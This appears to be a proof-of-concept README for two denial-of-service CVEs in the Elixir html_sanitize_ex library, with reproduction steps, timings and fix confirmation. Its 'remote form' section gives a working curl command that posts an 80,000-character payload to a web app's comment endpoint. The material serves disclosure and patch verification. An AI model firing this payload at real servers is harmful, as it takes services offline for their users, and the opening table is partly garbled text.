Exploit for Inefficient Regular Expression Complexity in Rrrene Htmlsanitizeex

## https://sploitus.com/exploit?id=23D1C12B-7D04-5A05-B0BD-A135BB76E37A
# CVE-2026-68749 / CVE-2026-68750 — PoC

Quadratic denial of service in **[html_sanitize_ex](https://github.com/rrrene/html_sanitize_ex) ` run of word chars with a trailing `:` |
| **CVE-2026-68750** | `HtmlSanitizeEx.Traverser.traverse/2` | CWE-407 (quadratic traversal) | flat run of allowed sibling tags (e.g. `a` × 20,000) |

> **CVE-2026-68749** is only reachable via `html5/1` (or a custom scrubber extending `:html5`).
> **CVE-2026-68750** sits on **every** public entry point, including `basic_html/1`, `markdown_html/1`, and `strip_tags/1`.

## Layout

```
mix.exs     # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs     # generates both payloads and times them
```

## Reproduce

Requirements: Elixir ≥ 1.14 and an internet connection (to fetch the Hex dependency).

```bash
mix deps.get          # fetches html_sanitize_ex 1.5.2
mix run poc.exs       # runs both demos and prints timings
```

Expected on the vulnerable 1.5.2 build — the attack timings dwarf the benign ones.
The shape is (illustrative; absolute values depend on hardware, but the two
attack anchors come straight from the EEF CNA advisory):

```
=== html_sanitize_ex 1.5.2 ===

CVE-2026-68749  — CSS scrubber (html5/1), 80000 chars of 'a'
  benign  (…a!):         ~  milliseconds   (returns near-instantly)
  attack  (…a!:):        ~ 2.4 seconds     (thousands of x slower)
  diff is a single ':' character

CVE-2026-68750  — traverser (basic_html/1), a siblings
   2,000 siblings:       ~  milliseconds
  20,000 siblings:       ~ 1.7 seconds     (10x input -> far more than 10x work)
  ratio > 10 reveals super-linear growth
```

The point is the **ratio**: the attack is orders of magnitude slower than a benign
input of comparable size, and 10× the input costs far more than 10× the work. The
2.4 s (80 KB ``) and 1.7 s (20,000 siblings) figures are quoted from the
upstream advisories.

## Confirm the fix

Edit `mix.exs` and bump the pinned version to the patched release:

```elixir
@vulnerable_version "1.5.3"   # or later — 1.5.3 contains both fixes
```

Then re-run:

```bash
mix deps.update html_sanitize_ex
mix run poc.exs
```

On 1.5.3 the benign and attack timings collapse to the same order of magnitude, because the fix bounds the regex group (`[-\w]+` → `[-\w]{1,64}`) and rewrites the traverser to a single `Enum.reduce` + one `List.flatten/1` (O(n²) → O(n)).

## Remote form

In a real Phoenix app these calls happen wherever the server sanitises user-supplied
rich text. The attacker just POSTs the payload as the field value — no auth required:

```bash
PAYLOAD="$(python3 -c "print('a'*80000,end='')")!:"

curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  -X POST https://target.example.com/comments \
  --data-urlencode "body=$PAYLOAD"
```

Eight concurrent requests like that pin all eight BEAM schedulers on an 8-core host.

## References

- EEF CNA advisory (68749): https://cna.erlef.org/cves/CVE-2026-68749.html
- EEF CNA advisory (68750): https://cna.erlef.org/cves/CVE-2026-68750.html
- Fix commit (68749): https://github.com/rrrene/html_sanitize_ex/commit/4f4bd9eb254881462c0461fbab74b29188c2c133
- Fix commit (68750): https://github.com/rrrene/html_sanitize_ex/commit/9f5ccedbed230930813f992a1e6906fcf485981e

For educational / authorised testing only.